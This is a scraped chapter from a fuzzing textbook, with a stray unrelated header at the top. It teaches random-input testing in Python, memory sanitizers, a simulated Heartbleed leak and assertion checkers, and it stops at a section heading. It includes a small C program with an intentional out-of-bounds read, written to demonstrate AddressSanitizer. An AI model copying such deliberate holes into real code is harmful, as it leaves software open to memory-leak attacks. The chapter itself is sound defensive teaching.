**Tags:**| _JavaScript android node.js_  
  

Node.js Android NDK port.

http://www.gameactually.com

# Fuzzing: Breaking Things with Random Inputs - Generating Software Tests

**Created:**| _5/10/2019 8:04:37 AM_  
---|---  
**Updated:**| _5/10/2019 8:04:37 AM_  
**Author:**| __  
**Tags:**| _Fuzzer_  
  

  

# Fuzzing: Breaking Things with Random Inputs¶

In this chapter, we'll start with one of the simplest test generation
techniques. The key idea of random text generation, also known as _fuzzing_ ,
is to feed a _string of random characters_ into a program in the hope to
uncover failures.

**Prerequisites**

  * You should know fundamentals of software testing; for instance, from the chapter "Introduction to Software Testing".
  * You should have a decent understanding of Python; for instance, from the Python tutorial.

We can make these prerequisites explicit. First, we'll import a standard
package required for working in notebooks.

[code]

    import fuzzingbook_utils
    
[/code]

Now, we explicitly import \(and thus require\) the earlier chapter.

[code]

    import Intro_Testing
    
[/code]

## A Testing Assignment¶

Fuzzing was born in a "dark and stormy night in the Fall of 1988" \[Takanen
_et al_ , 2008.\]. Sitting in his apartment in Wisconsin, Madison, professor
Barton Miller was connected to his university computer via a 1200 baud
telephone line. The thunderstorm caused noise on the line, and this noise in
turn caused the UNIX commands on either end to get bad inputs – and crash. The
frequent crashes surprised him – surely, programs should be more robust than
that? As a scientist, he wanted to investigate the extent of the problem and
its causes. So he crafted a _programming exercise_ for his students at the
University of Wisconsin-Madison – an exercise that would have his students
create the first fuzzers.

This is how the assignment read:

> The goal of this project is to evaluate the robustness of various UNIX
> utility programs, given an unpredictable input stream. \[...\] First, you
> will build a _fuzz generator_. This is a program that will output a random
> character stream. Second, you will take the fuzz generator and use it to
> attack as many UNIX utilities as possible, with the goal of trying to break
> them.
This assignment captures the essence of fuzzing: _Create random inputs, and
see if they break things._ Just let it run long enough and you'll see.

## A Simple Fuzzer¶

Let us try to fulfill this assignment and build a fuzz generator. The idea is
to produce random characters, adding them to a buffer string variable
\(`out`\), and finally returning the string.

This implementation uses the following Python features and functions:

  * `random.randrange(start, end)` – return a random number \[\[ `start`, `end` \)\)
  * `range(start, end)` – create a list with integers in the range \[\[ `start`, `end` \)\). Typically used in iterations.
  * `for elem in list: body` – execute `body` in a loop with `elem` taking each value from `list`.
  * `for i in range(start, end): body` – execute `body` in a loop with `i` from `start` to `end` −− 1.
  * `chr(n)` – return a character with ASCII code `n`

To use random numbers, we have to import the respective module.

[code]

    import random
    
[/code]

Here comes the actual `fuzzer()` function.

[code]

    def fuzzer(max_length=100, char_start=32, char_range=32):
        """A string of up to `max_length` characters
           in the range [`char_start`, `char_start` + `char_range`]"""
        string_length = random.randrange(0, max_length + 1)
        out = ""
        for i in range(0, string_length):
            out += chr(random.randrange(char_start, char_start + char_range))
        return out
    
[/code]

With its default arguments, the `fuzzer()` function returns a string of random
characters:

[code]

    fuzzer()
    
[/code]

[code]

    '!7#%"*#0=)$;%6*;>638:*>80"=</>(/*:-(2<4 !:5*6856&?""11<7+%<%7,4.8,*+&,,$,."'
    
[/code]

Bart Miller coined the term "fuzz" as the name for such random, unstructured
data. Now imagine that this "fuzz" string was the input to a program expecting
a specific input format – say, a comma-separated list of values, or an e-mail
address. Would the program be able to process such an input without any
problems?

If the above fuzzing input already is intriguing, consider that fuzzing can
easily be set up to produce other kinds of input. For instance, we can also
have `fuzzer()` produce a series of lowercase letters. We use `ord(c)` to
return the ASCII code of the character `c`.

[code]

    fuzzer(1000, ord('a'), 26)
    
[/code]

[code]

    'zskscocrxllosagkvaszlngpysurezehvcqcghygphnhonehczraznkibltfmocxddoxcmrvatcleysksodzlwmzdndoxrjfqigjhqjxkblyrtoaydlwwisrvxtxsejhfbnforvlfisojqaktcxpmjqsfsycisoexjctydzxzzutukdztxvdpqbjuqmsectwjvylvbixzfmqiabdnihqagsvlyxwxxconminadcaqjdzcnzfjlwccyudmdfceiepwvyggepjxoeqaqbjzvmjdlebxqvehkmlevoofjlilegieeihmetjappbisqgrjhglzgffqrdqcwfmmwqecxlqfpvgtvcddvmwkplmwadgiyckrfjddxnegvmxravaunzwhpfpyzuyyavwwtgykwfszasvlbwojetvcygectelwkputfczgsfsbclnkzzcjfywitooygjwqujseflqyvqgyzpvknddzemkegrjjrshbouqxcmixnqhgsgdwgzwzmgzfajymbcfezqxndbmzwnxjeevgtpjtcwgbzptozflrwvuopohbvpmpaifnyyfvbzzdsdlznusarkmmtazptbjbqdkrsnrpgdffemnpehoapiiudokczwrvpsonybfpaeyorrgjdmgvkvupdtkrequicexqkoikygepawmwsdcrhivoegynnhodfhryeqbebtbqnwhogdfrsrksntqjbocvislhgrgchkhpaiugpbdygwkhrtyniufabdnqhtnwreiascfvmuhettfpbowbjadfxnbtzhobnxsnf'
    
[/code]

Assume a program expects an identifier as its input. Would it expect such a
long identifier?

## Fuzzing External Programs¶

Let us see what happens if we actually invoke an external program with fuzzed
inputs. To this end, let us proceed in two steps. First, we create an _input
file_ with fuzzed test data; then we feed this input file into a program of
choice.

### Creating Input Files¶

Let us obtain a temporary file name such that we do not clutter the file
system.

[code]

    import os
    import tempfile
    
[/code]

[code]

    basename = "input.txt"
    tempdir = tempfile.mkdtemp()
    FILE = os.path.join(tempdir, basename)
    print(FILE)
    
[/code]

[code]

    /var/folders/n2/xd9445p97rb3xh7m1dfx8_4h0006ts/T/tmpwyntl6b1/input.txt
    
[/code]

We can now open this file for writing. The Python `open()` function opens a
file into which we can then write arbitrary contents. It is commonly used in
conjunction with the `with` statement, which ensures that the file is closed
as soon as it is no longer needed.

[code]

    data = fuzzer()
    with open(FILE, "w") as f:
        f.write(data)
    
[/code]

We can verify that the file was actually created by reading its contents:

[code]

    contents = open(FILE).read()
    print(contents)
    assert(contents == data)
    
[/code]

[code]

    !6"*-2,$994,%*:"$25!2=!+!2#''6/3'4!6%7056'??2#7;75>27'15#-4.?*<?6&" !3'7-5>18%
    
[/code]

### Invoking External Programs¶

Now that we have an input file, we can invoke a program on it. For the fun of
it, let us test the `bc` calculator program, which takes an arithmetic
expression and evaluates it.

To invoke `bc`, let us use the Python `subprocess` module. This is how this
works:

[code]

    import os
    import subprocess
    
[/code]

[code]

    program = "bc"
    with open(FILE, "w") as f:
        f.write("2 + 2\n")
    result = subprocess.run([program, FILE],
                            stdin=subprocess.DEVNULL,
                            stdout=subprocess.PIPE,
                            stderr=subprocess.PIPE,
                            universal_newlines=True)  # Will be "text" in Python 3.7
    
[/code]

From the `result`, we can check the program output. In the case of `bc`, this
is the result of evaluating the arithmetic expression:

[code]

    result.stdout
    
[/code]

[code]

    '4\n'
    
[/code]

We can also check the status. A value of 0 indicates that the program
terminated correctly.

[code]

    result.returncode
    
[/code]

[code]

    0
    
[/code]

Any error messages would be available in `results.stderr`:

[code]

    result.stderr
    
[/code]

[code]

    ''
    
[/code]

Instead of `bc`, you can actually put in any program you like. Be aware,
though, that if your program is able to change or even damage your system,
there is quite a risk that the fuzzed input contains data or commands that do
precisely this.

Just for the fun of it, imagine you would test a file removal program. What is
the chance of the fuzzer producing a valid file name? \(Note that `.` and `/`
may be valid directory names already.\)

### Long-Running Fuzzing¶

Let us now feed a large number of inputs into our tested program, to see
whether it might crash on some. We store all results in the `runs` variable as
pairs of input data and the actual result. \(Note: running this may take a
while.\)

[code]

    trials = 100
    program = "bc"
    
    runs = []
    
    for i in range(trials):
        data = fuzzer()
        with open(FILE, "w") as f:
            f.write(data)
        result = subprocess.run([program, FILE],
                                stdin=subprocess.DEVNULL,
                                stdout=subprocess.PIPE,
                                stderr=subprocess.PIPE,
                                universal_newlines=True)
        runs.append((data, result))
    
[/code]

We can now query `runs` for some statistics. For instance, we can query how
many runs actually passed -- that is, there were no error messages. We use a
_list comprehension_ here: The form _expression_ `for` _element_ `in` _list_
`if` _condition_ returns a list of evaluated _expressions_ in which each
_element_ comes from _list_ if the _condition_ was true. \(Actually, a list
comprehension returns a _list generator_ , but for our purposes, the generator
behaves like a list.\) Here, we have the _expression_ be 1 for all elements
where _condition_ holds, and we use `sum()` to sum over all elements in the
list.

[code]

    sum(1 for (data, result) in runs if result.stderr == "")
    
[/code]

[code]

    4
    
[/code]

Most inputs apparently are invalid – not a big surprise, as it is unlikely
that a random input contains a valid arithmetic expression.

Let us take a look at the first error message:

[code]

    errors = [(data, result) for (data, result) in runs if result.stderr != ""]
    (first_data, first_result) = errors[0]
    
    print(repr(first_data))
    print(first_result.stderr)
    
[/code]

[code]

    '5*,55&8>"86,?"/7!1%5-**&-$&)$91;"21(\'8"(%$'
    /var/folders/n2/xd9445p97rb3xh7m1dfx8_4h0006ts/T/tmpwyntl6b1/input.txt 1: parse error
    /var/folders/n2/xd9445p97rb3xh7m1dfx8_4h0006ts/T/tmpwyntl6b1/input.txt 1: illegal character: &
    /var/folders/n2/xd9445p97rb3xh7m1dfx8_4h0006ts/T/tmpwyntl6b1/input.txt 1: parse error
    /var/folders/n2/xd9445p97rb3xh7m1dfx8_4h0006ts/T/tmpwyntl6b1/input.txt 1: illegal character: &
    /var/folders/n2/xd9445p97rb3xh7m1dfx8_4h0006ts/T/tmpwyntl6b1/input.txt 1: illegal character: $
    /var/folders/n2/xd9445p97rb3xh7m1dfx8_4h0006ts/T/tmpwyntl6b1/input.txt 1: illegal character: &
    /var/folders/n2/xd9445p97rb3xh7m1dfx8_4h0006ts/T/tmpwyntl6b1/input.txt 1: illegal character: $
    /var/folders/n2/xd9445p97rb3xh7m1dfx8_4h0006ts/T/tmpwyntl6b1/input.txt 1: parse error
    /var/folders/n2/xd9445p97rb3xh7m1dfx8_4h0006ts/T/tmpwyntl6b1/input.txt 1: illegal character: $
    
[/code]

Are there any runs with messages other than `illegal character`, `parse
error`, or `syntax error`? \(Say, something like `crash` or `you found a fatal
bug`?\) Not very many:

[code]

    [result.stderr for (data, result) in runs if
     result.stderr != ""
     and "illegal character" not in result.stderr
     and "parse error" not in result.stderr
     and "syntax error" not in result.stderr]
    
[/code]

[code]

    []
    
[/code]

Maybe a crash would be indicated by `bc` just crashing. Unfortunately, the
return code is never nonzero:

[code]

    sum(1 for (data, result) in runs if result.returncode != 0)
    
[/code]

[code]

    0
    
[/code]

How about we let the above `bc` test run for some more? While it is running,
let us take a look on how the state of the art was in 1989.

## Bugs Fuzzers Find¶

When Miller and his students ran their first fuzzers in 1989, they found an
alarming result: About **a third of the UNIX utilities** they fuzzed had
issues – they crashed, hung, or otherwise failed when confronted with fuzzing
input \[Miller _et al_ , 1990.\]. This also included the `bc` program, above.
\(Apparently, the bugs have now been fixed\!\)

Considering that many of these UNIX utilities were used in scripts that would
also process network input, this was an alarming result. Programmers quickly
built and ran their own fuzzers, rushed to fix the reported errors, and
learned not to trust external inputs anymore.

What kind of problems did Miller's fuzzing experiment find? It turns out that
the mistakes programmers made in 1990 are still the same mistakes being made
today.

### Buffer Overflows¶

Many programs have built-in maximum lengths for inputs and input elements. In
languages like C, it is easy to excess these lengths without the program \(or
the programmer\) even noticing, triggering so-called **buffer overflows**. The
following code, for instance, happily copies the `input` string into a
`weekday` string even if `input` has more than eight characters:

[code]

    char weekday[9]; // 8 characters + trailing '\0' terminator
    strcpy (weekday, input);
    
[/code]

Ironically, this already fails if `input` is `"Wednesday"` \(9 characters\);
any excess characters \(here, `'y'` and the following `'\0'` string
terminator\) are simply copied to whatever resides in memory after `weekday`,
triggering arbitrary behavior; maybe some boolean character variable which
would be set from `'n'` to `'y'`. With fuzzing, it is very easy to produce
arbitrary long inputs and input elements.

We can easily simulate this buffer overflow behavior in a Python function:

[code]

    def crash_if_too_long(s):
        buffer = "Thursday"
        if len(s) > len(buffer):
            raise ValueError
    
[/code]

And yes, it quickly crashes.

[code]

    from ExpectError import ExpectError
    
[/code]

[code]

    trials = 100
    with ExpectError():
        for i in range(trials):
            s = fuzzer()
            crash_if_too_long(s)
    
[/code]

[code]

    Traceback (most recent call last):
      File "<ipython-input-23-f83db3d59a06>", line 5, in <module>
        crash_if_too_long(s)
      File "<ipython-input-21-928c2d2de976>", line 4, in crash_if_too_long
        raise ValueError
    ValueError (expected)
    
[/code]

The `with ExpectError()` line in the above code ensures that the error message
is printed, yet execution continues; this is to differentiate this "expected"
error from "unexpected" errors in other code examples.

### Missing Error Checks¶

Many programming languages do not have exceptions, but instead have functions
return special **error codes** in exceptional circumstances. The C function
`getchar()`, for instance, normally returns a character from the standard
input; if no input is available anymore, it returns the special value `EOF`
\(end of file\). Now assume a programmer is scanning the input for the next
character, reading in characters with `getchar()` until a space character is
read:

[code]

    while (getchar() != ' ') {
    }
    
[/code]

What happens if the input ends prematurely, as would perfectly be feasible
with fuzzing? Well, `getchar()` returns `EOF`, and keeps on returning `EOF`
when called again; so the code above simply enters an infinite loop.

Again, we can simulate such missing error checks. Here's a function that will
effectively hang if no space is present in the input:

[code]

    def hang_if_no_space(s):
        i = 0
        while True:
            if i < len(s):
                if s[i] == ' ':
                    break
            i += 1
    
[/code]

Using the timeout mechanism from our Introduction to Testing, we can interrupt
this function after some time. And yes, it does hang after a few fuzzing
inputs.

[code]

    from ExpectError import ExpectTimeout
    
[/code]

[code]

    trials = 100
    with ExpectTimeout(2):
        for i in range(trials):
            s = fuzzer()
            hang_if_no_space(s)
    
[/code]

[code]

    Traceback (most recent call last):
      File "<ipython-input-26-8e40f7d62a1b>", line 5, in <module>
        hang_if_no_space(s)
      File "<ipython-input-24-5f437edacff4>", line 4, in hang_if_no_space
        if i < len(s):
      File "<ipython-input-24-5f437edacff4>", line 4, in hang_if_no_space
        if i < len(s):
      File "<string>", line 16, in check_time
    TimeoutError (expected)
    
[/code]

The `with ExpectTimeout()` line in the above code ensures that execution of
the enclosed code is interrupted after two seconds, printing the error
message.

### Rogue Numbers¶

With fuzzing, it is easy to generate **uncommon values** in the input, causing
all kinds of interesting behavior. Consider the following code, again in the C
language, which first reads a buffer size from the input, and then allocates a
buffer of the given size:

[code]

    char *read_input() {
        size_t size = read_buffer_size();
        char *buffer = (char *)malloc(size);
        // fill buffer
        return (buffer);
    }
    
[/code]

What happens if `size` is very large, exceeding program memory? What happens
if `size` is less than the number of characters following? What happens if
`size` is negative? By providing a random number here, fuzzing can create all
kinds of damages.

Again, we can easily simulate such rogue numbers in Python. The function
`collapse_if_too_large()` fails if the passed value \(a string\) is too large
after having been converted to an integer.

[code]

    def collapse_if_too_large(s):
        if int(s) > 1000:
            raise ValueError
    
[/code]

We can have `fuzzer()` create a string of digits:

[code]

    long_number = fuzzer(100, ord('0'), 10)
    print(long_number)
    
[/code]

[code]

    7056414967099541967374507745748918952640135045
    
[/code]

If we feed such numbers into `collapse_if_too_large()`, it will very soon
fail.

[code]

    with ExpectError():
        collapse_if_too_large(long_number)
    
[/code]

[code]

    Traceback (most recent call last):
      File "<ipython-input-29-7a1817f3dbfc>", line 2, in <module>
        collapse_if_too_large(long_number)
      File "<ipython-input-27-2c22a83a4dca>", line 3, in collapse_if_too_large
        raise ValueError
    ValueError (expected)
    
[/code]

If we really wanted to allocate that much memory on a system, having it
quickly fail as above actually would be the better option. In reality, running
out of memory may dramatically slow systems down, up to the point that they
become totally unresponsive – and restarting is the only option.

One might argue that these are all problems of bad programming, or of bad
programming languages. But then, there are thousands of people starting to
program every day, and all of them make the same mistakes again and again,
even today.

## Catching Errors¶

When Miller and his students built their first fuzzer, they could identify
errors simply because the program would crash or hang – two conditions that
are easy to identify. If the failures are more subtle, though, we need to come
up with additional checks.

### Generic Checkers¶

Buffer overflows, as discussed above, are a particular instance of a more
general problem: In languages like C and C++, a program can access arbitrary
parts of its memory – even those parts that are uninitialized, already freed
or simply not part of the data structure you are trying to access. This is
necessary if you want to write an operating system, and great if you want a
maximum of performance or control, but pretty bad if you want to avoid
mistakes. Fortunately, there are tools that help catching such issues at
runtime, and they are great when combined with fuzzing.

#### Checking Memory Accesses¶

To catch problematic memory accesses during testing, one can run C programs in
special _memory-checking_ environments; at runtime, these check for each and
every memory operation whether it accesses valid and initialized memory. A
popular example is LLVM Address Sanitizer which detects a whole set of
potentially dangerous memory safety violations. In the following example we
will compile a rather simple C program with this tool and provoke an out-of-
bounds read by reading past an allocated portion of memory.

[code]

    with open("program.c", "w") as f:
        f.write("""
    #include <stdlib.h>
    #include <string.h>
    
    int main(int argc, char** argv) {
        /* Create an array with 100 bytes, initialized with 42 */
        char *buf = malloc(100);
        memset(buf, 42, 100);
    
        /* Read the N-th element, with N being the first command-line argument */
        int index = atoi(argv[1]);
        char val = buf[index];
    
        /* Clean up memory so we don't leak */
        free(buf);
        return val;
    }
        """)
    
[/code]

[code]

    from fuzzingbook_utils import print_file
    
[/code]

[code]

    print_file("program.c")
    
[/code]

[code]

    #include <stdlib.h>
    #include <string.h>
    
    int main(int argc, char** argv) {
        /* Create an array with 100 bytes, initialized with 42 */
        char *buf = malloc(100);
        memset(buf, 42, 100);
    
        /* Read the N-th element, with N being the first command-line argument */
        int index = atoi(argv[1]);
        char val = buf[index];
    
        /* Clean up memory so we don't leak */
        free(buf);
        return val;
    }
    
[/code]

We compile this C program with address sanitization enabled:

[code]

    !clang -fsanitize=address -g -o program program.c
    
[/code]

If we run the program with an argument of `99`, it returns `buf[99]`, which is
42.

[code]

    !./program 99; echo $?
    
[/code]

[code]

    42
    
[/code]

Accessing `buf[110]`, however, results in an out-of-bounds error in
AddressSanitizer.

[code]

    !./program 110
    
[/code]

[code]

    =================================================================
    ==99933==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60b0000000ae at pc 0x000109e4dea5 bp 0x7ffee5db2500 sp 0x7ffee5db24f8
    READ of size 1 at 0x60b0000000ae thread T0
        #0 0x109e4dea4 in main program.c:12
        #1 0x7fff7ca493d4 in start (libdyld.dylib:x86_64+0x163d4)
    
    0x60b0000000ae is located 10 bytes to the right of 100-byte region [0x60b000000040,0x60b0000000a4)
    allocated by thread T0 here:
        #0 0x109ead053 in wrap_malloc (libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x5c053)
        #1 0x109e4ddf4 in main program.c:7
        #2 0x7fff7ca493d4 in start (libdyld.dylib:x86_64+0x163d4)
    
    SUMMARY: AddressSanitizer: heap-buffer-overflow program.c:12 in main
    Shadow bytes around the buggy address:
      0x1c15ffffffc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x1c15ffffffd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x1c15ffffffe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x1c15fffffff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x1c1600000000: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
    =>0x1c1600000010: 00 00 00 00 04[fa]fa fa fa fa fa fa fa fa fa fa
      0x1c1600000020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x1c1600000030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x1c1600000040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x1c1600000050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x1c1600000060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
    Shadow byte legend (one shadow byte represents 8 application bytes):
      Addressable:           00
      Partially addressable: 01 02 03 04 05 06 07 
      Heap left redzone:       fa
      Freed heap region:       fd
      Stack left redzone:      f1
      Stack mid redzone:       f2
      Stack right redzone:     f3
      Stack after return:      f5
      Stack use after scope:   f8
      Global redzone:          f9
      Global init order:       f6
      Poisoned by user:        f7
      Container overflow:      fc
      Array cookie:            ac
      Intra object redzone:    bb
      ASan internal:           fe
      Left alloca redzone:     ca
      Right alloca redzone:    cb
      Shadow gap:              cc
    ==99933==ABORTING
    
[/code]

If you want to find errors in a C program, turning on such checks for fuzzing
is fairly easy. It will slow down execution by a certain factor depending on
the tool \(for AddressSanitizer it is typically 2××\) and also consume more
memory, but CPU cycles are dead cheap compared to the human effort it takes to
find these bugs.

Out-of-bounds accesses to memory are a great security risk, as they may let
attackers access or even modify information that is not meant for them. As a
famous example, the HeartBleed bug was a security bug in the OpenSSL library,
implementing cryptographic protocols that provide communications security over
a computer network. \(If you read this text in a browser, it is likely
encrypted using these protocols.\)

The HeartBleed bug was exploited by sending a specially crafted command to the
SSL _heartbeat_ service. A heartbeat service is used to check if the server on
the other end is still alive. A client would send the service a string like

[code]

    BIRD (4 letters)
[/code]

to which the server would reply with `BIRD`, and the client would know the
server is alive.

Unfortunately, this service could be exploited by asking the server to reply
with _more_ than the requested set of letters. This is very well explained in
this XKCD comic:

<img src='img/Temp2_3367.png' width='640' height='474' />

<img src='img/Temp2_3368.png' width='640' height='447' />

<img src='img/Temp2_3369.png' width='640' height='441' />

In the OpenSSL implementation, these memory contents could involve
cryptographic certificates, private keys, and more – and worse, no one would
notice that this memory just had been accessed. When the HeartBleed bug was
discovered, it had been around for many years, and none would know whether and
which secrets had already leaked; the quickly set up HeartBleed announcement
page said it all.

But how was HeartBleed discovered? Very simple. Researchers both at the
Codenomicon company as well as with Google compiled the OpenSSL library with a
memory sanitizer, and then happily flooded it with fuzzed commands. The memory
sanitizer would then notice whether an out-of-bounds memory access had
occurred – and actually, it would very quickly discover this.

A memory checker is just one of many checkers one can run to detect runtime
errors during fuzzing. In the chapter on oracles, we will learn more about how
to define generic checkers.

We're done with `program`, so we clean up:

[code]

    !rm -fr program program.*
    
[/code]

#### Information Leaks¶

Information leaks may not only occur through illegal memory accesses; they can
also occur within "valid" memory – if this "valid" memory contains sensitive
information that should not leak out. Let us illustrate this issue in a Python
program. To start with, let us create some program memory filled with actual
data and random data:

[code]

    secrets = ("<space for reply>" + fuzzer(100)
         + "<secret-certificate>" + fuzzer(100)
         + "<secret-key>" + fuzzer(100) + "<other-secrets>")
    
[/code]

We add more "memory" characters to `secrets`, filled with `"deadbeef"` as
marker for uninitialized memory:

[code]

    uninitialized_memory_marker = "deadbeef"
    while len(secrets) < 2048:
        secrets += uninitialized_memory_marker
    
[/code]

We define a service \(similar to the heartbeat service discussed above\) that
would take a reply to be sent back, as well as a length. It would store the
reply to be sent in memory, and then send it back with the given length.

[code]

    def heartbeat(reply, length, memory):
        # Store reply in memory
        memory = reply + memory[len(reply):]
    
        # Send back heartbeat
        s = ""
        for i in range(length):
            s += memory[i]
        return s
    
[/code]

This perfectly works for standard strings:

[code]

    heartbeat("potato", 6, memory=secrets)
    
[/code]

[code]

    'potato'
    
[/code]

[code]

    heartbeat("bird", 4, memory=secrets)
    
[/code]

[code]

    'bird'
    
[/code]

However, if the length is greater than the length of the reply string,
additional contents of memory spill out. Note that all of this still occurs
within regular array bounds, so an address sanitizer would not be triggered:

[code]

    heartbeat("hat", 500, memory=secrets)
    
[/code]

[code]

    'hatace for reply>#,,!3?30>#61)$4--8=<7)4 )03/%,5+! "4)0?.9+?3();<42?=?0<secret-certificate>7(+/+((1)#/0\'4!>/<#=78%6$!!$<-"3"\'-?1?85!05629%/); *)1\'/=9%<secret-key>.(#.4%<other-secrets>deadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadb'
    
[/code]

How can one detect such issues? The idea is to identify information that
should not leak out, such as the given secrets, but also uninitialized memory.
We can simulate such a check in a small Python example:

[code]

    from ExpectError import ExpectError
    
[/code]

[code]

    with ExpectError():
        for i in range(10):
            s = heartbeat(fuzzer(), random.randint(1, 500), memory=secrets)
            assert not s.find(uninitialized_memory_marker)
            assert not s.find("secret")
    
[/code]

[code]

    Traceback (most recent call last):
      File "<ipython-input-44-b7e8a1210599>", line 4, in <module>
        assert not s.find(uninitialized_memory_marker)
    AssertionError (expected)
    
[/code]

With such a check, we find that secrets and/or uninitialized memory indeed
leak out. In the chapter on information flow, we will discuss how to do this
automatically, "tainting" sensitive information and values derived from them,
and ensuring that "tainted" values do not leak out.

As a rule of thumb, you should always _enable as many automatic checkers as
possible_ during fuzzing. CPU cycles are cheap, and errors are expensive. If
you only execute the program without an option to actually detect errors, you
will be missing several opportunities.

### Program-Specific Checkers¶

Besides generic checkers that apply to _all_ programs on a given platform or
in a given language, you can also devise _specific_ checkers that apply to
your program, or a subsystem. In the chapter on testing, we already have
hinted at techniques of runtime verification that check function results at
runtime for correctness.

One key idea for detecting errors early is the concept of _assertion_ – a
predicate that checks the input \(precondition\) and the result
\(postcondition\) of important functions. The more assertions you have in your
program, the higher your chances to detect errors during execution that would
go undetected by generic checkers – notably during fuzzing. If you worry about
the impact of assertions on performance, keep in mind that assertions can be
turned off in production code \(although it can be helpful to leave the most
critical checks active\).

One of the most important uses of assertions for finding errors is _checking
the integrity of complex data structures._ Let us illustrate the concept using
a simple example. Suppose we have a mapping of airport codes to airports, as
in

[code]

    airport_codes = {
        "YVR": "Vancouver",
        "JFK": "New York-JFK",
        "CDG": "Paris-Charles de Gaulle",
        "CAI": "Cairo",
        "LED": "St. Petersburg",
        "PEK": "Beijing",
        "HND": "Tokyo-Haneda",
        "AKL": "Auckland"
    }  # plus many more
    
[/code]

[code]

    airport_codes["YVR"]
    
[/code]

[code]

    'Vancouver'
    
[/code]

[code]

    "AKL" in airport_codes
    
[/code]

[code]

    True
    
[/code]

This list of airport codes may be pretty critical: if we have a spelling
mistake in any of the airport codes, this may impact whatever application we
have. We therefore introduce a function that checks the list for consistency.
The consistency condition is called a _representation invariant_ , and
functions \(or methods\) that check it are therefore typically named `repOK()`
for "the representation is ok".

First, let's have a checker for individual airport codes. The checker fails if
the code is inconsistent.

[code]

    def code_repOK(code):
        assert len(code) == 3, "Airport code must have three characters: " + repr(code)
        for c in code:
            assert c.isalpha(), "Non-letter in airport code: " + repr(code)
            assert c.isupper(), "Lowercase letter in airport code: " + repr(code)
        return True
    
[/code]

[code]

    assert code_repOK("SEA")
    
[/code]

We can now use `code_repOK()` to check all elements in the list:

[code]

    def airport_codes_repOK():
        for code in airport_codes:
            assert code_repOK(code)
        return True
    
[/code]

[code]

    with ExpectError():
        assert airport_codes_repOK()
    
[/code]

If we add an invalid element to the list, our check would fail:

[code]

    airport_codes["YMML"] = "Melbourne"
    
[/code]

[code]

    with ExpectError():
        assert airport_codes_repOK()
    
[/code]

[code]

    Traceback (most recent call last):
      File "<ipython-input-53-21eb3b08ef3e>", line 2, in <module>
        assert airport_codes_repOK()
      File "<ipython-input-50-f8128f7dc918>", line 3, in airport_codes_repOK
        assert code_repOK(code)
      File "<ipython-input-48-345123a45730>", line 2, in code_repOK
        assert len(code) == 3, "Airport code must have three characters: " + repr(code)
    AssertionError: Airport code must have three characters: 'YMML' (expected)
    
[/code]

Of course, rather than manipulating the list directly, we'd have a special
function for adding elements; this could then also check whether the code is
valid:

[code]

    def add_new_airport(code, city):
        assert code_repOK(code)
        airport_codes[code] = city
    
[/code]

[code]

    with ExpectError():  # For BER, ExpectTimeout would be more appropriate
        add_new_airport("BER", "Berlin")
    
[/code]

This check also allows us to find out errors in argument lists:

[code]

    with ExpectError():
        add_new_airport("London-Heathrow", "LHR")
    
[/code]

[code]

    Traceback (most recent call last):
      File "<ipython-input-56-6aeb45bf2b91>", line 2, in <module>
        add_new_airport("London-Heathrow", "LHR")
      File "<ipython-input-54-f4d30ab4bf9e>", line 2, in add_new_airport
        assert code_repOK(code)
      File "<ipython-input-48-345123a45730>", line 2, in code_repOK
        assert len(code) == 3, "Airport code must have three characters: " + repr(code)
    AssertionError: Airport code must have three characters: 'London-Heathrow' (expected)
    
[/code]

For maximum checking, though, the `add_new_airport()` function would also
ensure the correct representation of the list of airport codes –  _before_ and
_after_ changing it.

[code]

    def add_new_airport(code, city):
        assert code_repOK(code)
        assert airport_codes_repOK()
        airport_codes[code] = city
        assert airport_codes_repOK()
    
[/code]

This catches the inconsistency introduced earlier:

[code]

    with ExpectError():
        add_new_airport("IST", "Istanbul Yeni Havalimanı")
    
[/code]

[code]

    Traceback (most recent call last):
      File "<ipython-input-58-a80a619d120e>", line 2, in <module>
        add_new_airport("IST", "Istanbul Yeni Havalimanı")
      File "<ipython-input-57-93da9120109e>", line 3, in add_new_airport
        assert airport_codes_repOK()
      File "<ipython-input-50-f8128f7dc918>", line 3, in airport_codes_repOK
        assert code_repOK(code)
      File "<ipython-input-48-345123a45730>", line 2, in code_repOK
        assert len(code) == 3, "Airport code must have three characters: " + repr(code)
    AssertionError: Airport code must have three characters: 'YMML' (expected)
    
[/code]

The more `repOK()` assertions exist in your code, the more errors you will
catch – even those specific to only your domain and problem. On top, such
assertions document the _assumptions you made_ during programming and thus
help other programmers to understand your code and prevent errors.

As a final example, let us consider a rather complex data structure – a red-
black tree, a self-balancing binary search tree. Implementing a red-black tree
is not too hard, but getting it correct can be a task of several hours even
for experienced programmers. A `repOK()` method, however, documents all the
assumptions and checks them as well:

[code]

    class RedBlackTree:
        def repOK(self):
            assert self.rootHasNoParent()
            assert self.rootIsBlack()
            assert self.rootNodesHaveOnlyBlackChildren()
            assert self.treeIsAcyclic()
            assert self.parentsAreConsistent()
            return True
    
        def rootIsBlack(self):
            if self.parent is None:
                assert self.color == BLACK
            return True
    
        def add_element(self, elem):
            assert self.repOK()
            # Add the element
            assert self.repOK()
    
        def delete_element(self, elem):
            assert self.repOK()
            # Delete the element
            assert self.repOK()
    
[/code]

Here, `repOK()` is a method that runs on an object of the `RedBlackTree`
class. It runs five different checks, all of which have their own assertions.
Whenever an element is added or deleted, all these consistency checks are run
automatically. If you have an error in any of these, the checkers will find
them – if you run the tree through sufficiently many fuzzed inputs, of course.

### Static Code Checkers¶

